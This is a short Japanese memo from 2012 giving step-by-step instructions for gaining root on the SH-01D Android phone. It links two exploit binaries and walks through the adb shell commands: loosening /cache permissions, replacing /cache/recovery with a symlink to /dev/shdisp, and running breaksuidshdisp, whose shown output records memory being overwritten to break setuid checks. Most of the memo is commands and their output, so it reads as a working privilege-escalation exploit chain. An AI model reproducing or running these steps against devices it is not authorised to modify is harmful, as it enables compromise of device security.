1. sh-01dのroot取得までの手順
  2. メモ版
  3. 2012/2/5
  4. goroh.kun@gmail.com
  5.  
  6. ■必要なもの
  7. (1)shdisphook
  8. http://goo.gl/Bs6Iq
  9. (2)breaksuidshdisp
  10. http://goo.gl/r87zt
  11. (3)adb接続環境
  12. (4)ターミナルエミュレータ。
  13. 私はandroidマーケットからjackpalのターミナルエミュレータをインストールしています。
  14.  
  15. ■概要
  16. system権限取得後、以下のことを行ってください。
  17. 主に3段階のことをやります。
  18. (1)shdisphookによるsystem権限の取得、/cache/recoveryのリンク作成
  19. (2)/dev/shdispのパーミッションを666にする
  20. (3)breaksuidshdispによるsuid関数の破壊。
  21.  
  22. ■手順
  23. あらかじめ、breaksuidshdispを/data/local/に入れておいてください。
  24.  
  25. adb push breaksuidshdisp /data/local/
  26. adb shell chmod 755 /data/local/breaksuidshdisp
  27.  
  28. ここから、adb shellで実行。shdisphookでsystem権限取得状態に
  29. なってください。
  30.  
  31. $ echo 'chmod 777 /cache' > /data/local/oncmd.sh
  32. $ echo 'chmod 666 /cache/recovery' >> /data/local/oncmd.sh
  33. $ chmod 755 /data/local/oncmd.sh
  34.  
  35. ここで、microSDのマウント解除ダイアログを表示させると
  36. /cacheディレクトリのパーミッションが777になっているはず
  37.  
  38. つづいて
  39. $ rm -r /cache/recovery
  40. $ ln -s /dev/shdisp /cache/recovery
  41.  
  42. ここで、再起動。もう一度shdisphookを実行する。
  43. microSDのマウント解除ダイアログを表示させる
  44.  
  45. すると、/dev/shdispが以下の権限になるはず。
  46. $ adb shell ls -l /dev/shdisp
  47. crw-rw-rw- system cache 232, 0 1980-01-08 10:07 shdisp
  48.  
  49. ここで、breaksuidshdispを実行
  50.  
  51. $/data/local/breaksuidshdisp
  52. afd0a680 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
  53. afd0a690 : 00 00 b0 e1 1e ff 2f 51 ec b2 00 ea 00 f0 20 e3
  54. p2 = AFD50000 - B0010000
  55. event_type = 268435456
  56. p3 = 007E15E0
  57. p4 = 0091D8BC
  58. p3 = AFD0A680
  59. p4 = AFE4695C
  60. afd0a680 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  61. afd0a690 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  62.  
  63. これで、suid関数が破壊されますので、ターミナルエミュレータを起動させると
  64. #が表示されていると思います。